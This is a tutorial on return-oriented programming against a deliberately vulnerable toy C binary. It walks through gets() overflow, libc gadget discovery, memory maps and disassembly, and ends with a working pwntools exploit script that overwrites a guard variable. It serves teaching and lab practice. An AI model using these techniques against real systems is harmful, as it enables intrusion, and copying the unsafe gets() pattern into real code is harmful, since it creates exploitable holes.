Return-Oriented Programming
#include <stdio.h>
#include <stdlib.h>int guard = 0xcabba6e5;void readstuff(void) {
char data[20];
gets(data);
}int main(void) {
readstuff();if(guard == 0xb000000f) {
printf("Win :)\n");
} else {
printf("N00b :(\n");
}return 0;
}
Goal: changing the content of
guard
to
0xb000000f
.
Planning a chain of gadgets
Now we need to construct a chain of gadgets (found either in the binary itself or in the loaded libraries) that:
register1 := 0xb000000f ("register1" is just a placeholder)
register2 := address of guard
$register2 := register1
then reset values of modified registers so that program behaves as expected
return to main()
Finding a library
Gadgets can be found in the libraries loaded by a binary. We can print the shared libraries required by a given program:
marco@testbed:~/2020/rop$ ldd ./ropmew linux-gate.so.1 (0xf7fd4000) libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7de9000) /lib/ld-linux.so.2 (0xf7fd6000)marco@testbed:~/2020/rop$ ls -l /lib/i386-linux-gnu/libc.so.6 lrwxrwxrwx 1 root root 12 Apr 16 2018 /lib/i386-linux-gnu/libc.so.6 -> libc-2.27.so
So our binary loads the
libc
- a 1.9MB file that, gives us chances of finding interesting gadgets.Once the process is executed, libraries are loaded at a given offset (called base address -
0xf7de9000
):# we inspect its mapped memory regions marco@testbed:~$ cat /proc/18658/maps 08048000-08049000 r-xp 00000000 fc:01 1036361 /home/marco/2020/rop/ropmew 08049000-0804a000 r--p 00000000 fc:01 1036361 /home/marco/2020/rop/ropmew 0804a000-0804b000 rw-p 00001000 fc:01 1036361 /home/marco/2020/rop/ropmew 0804b000-0806d000 rw-p 00000000 00:00 0 [heap] f7de9000-f7fbe000 r-xp 00000000 fc:01 1807762 /lib/i386-linux-gnu/libc-2.27.so f7fbe000-f7fbf000 ---p 001d5000 fc:01 1807762 /lib/i386-linux-gnu/libc-2.27.so f7fbf000-f7fc1000 r--p 001d5000 fc:01 1807762 /lib/i386-linux-gnu/libc-2.27.so f7fc1000-f7fc2000 rw-p 001d7000 fc:01 1807762 /lib/i386-linux-gnu/libc-2.27.so f7fc2000-f7fc5000 rw-p 00000000 00:00 0 f7fcf000-f7fd1000 rw-p 00000000 00:00 0 f7fd1000-f7fd4000 r--p 00000000 00:00 0 [vvar] f7fd4000-f7fd6000 r-xp 00000000 00:00 0 [vdso] f7fd6000-f7ffc000 r-xp 00000000 fc:01 1807758 /lib/i386-linux-gnu/ld-2.27.so f7ffc000-f7ffd000 r--p 00025000 fc:01 1807758 /lib/i386-linux-gnu/ld-2.27.so f7ffd000-f7ffe000 rw-p 00026000 fc:01 1807758 /lib/i386-linux-gnu/ld-2.27.so fffdd000-ffffe000 rw-p 00000000 00:00 0 [stack]
We are searching for a gadget that enables us to write the content of a register into the address pointed by another register, like
mov dword ptr [<reg2>], <reg1>
.
We find:
marco@testbed:~/2020/rop$ grep -E 'mov dword ptr \[e.x\], e.x' libcgadgets.txt
...
0x00075425 : mov dword ptr [edx], eax ; ret //edx (pointer) <- eax (content)
Now we know that
eax
will be
reg1
and
edx
will be
reg2
in our final chain.
We will use
pop
gadgets to implement this:
0x00024b5e : pop eax ; ret //esp (pointer) <- eax (content)
0x00001aae : pop edx ; ret //esp (pointer) <- edx (content)
Finding Memory Addresses
address of
guard
0x0804a020
address of
readstuff
0x08048456
address of
main
0x804849d
We take a closer look at the assembly code:
marco@testbed:~/2020/rop$ objdump -M intel -d ropmew | grep -C2 readstuff
8048454: eb 8a jmp 80483e0 <register_tm_clones>08048456 <readstuff>:
8048456: push ebp
8048457: mov ebp,esp
--
804848d: call 8048390 <__x86.get_pc_thunk.bx>
8048492: add ebx,0x1b6e
8048498: call 8048456 <readstuff>
804849d: mov eax,DWORD PTR [ebx+0x20]
80484a3: cmp eax,0xb000000f
...
int main(void) {
readstuff();
if(guard == 0xb000000f) {
...
We see that
main
expects to fetch the content of the
guard
variable from
ebx+0x20
.
The value of
ebx
should stay unchanged after our attack, so we must reset its value to the original one.
The value of
ebx
can be set to the location of the
guard
-
0x20
(so that
$ebx+0x20
is once again the address of
guard
).
We do this with a
pop
gadget:
0x00018be5 : pop ebx ; ret //esp (pointer) <- ebx (content)
Putting it all together
What we initially wanted:
register1 := 0xb000000f ("register1" is just a placeholder)
register2 := address of guard
$register2 := register1then reset values of modified registers so that program behaves as expected
return to main()
How we adapted it to the libraries:
eax := 0xb000000f
edx := 0x0804a020 (address of 0xb000000f)
$edx := eaxthen reset values of modified registers so that program behaves as expected
0x804849d - return to main()
Our gadget chain:
We over-write the return address with 32 x 'A's and then add a chain of library instructions that all end with
ret
.
pop_eax (will replace ret)
0xb000000f
pop_edx
0x0804a020 (address of 0xb000000f)
mov_ptr_edx_eax//restore everything to its previous state
pop_ebx
0x0804a020 - 0x20
0x804849d (return into main)
#!/usr/bin/python3
import sys
from pwn import *def main():
libc_offset = 0xf7de9000
orig_saved_eip = p32(0x0804849d)
padding = b'A'*32# values
bof = p32(0xb000000f)# var
addr_guard = p32(0x0804a020)# gadgets
pop_eax = p32(libc_offset + 0x00024b5e)
pop_edx = p32(libc_offset + 0x00001aae)
mov_ptr_edx_eax = p32(libc_offset + 0x00075425)
pop_ebx = p32(libc_offset + 0x00018be5)payload = padding + pop_eax + bof + pop_edx + addr_guard + mov_ptr_edx_eax + \
pop_ebx + p32(0x0804a020 - 0x20) + orig_saved_eipp = process(sys.argv[1])
p.sendline(payload)
p.interactive()if __name__ == '__main__':
main()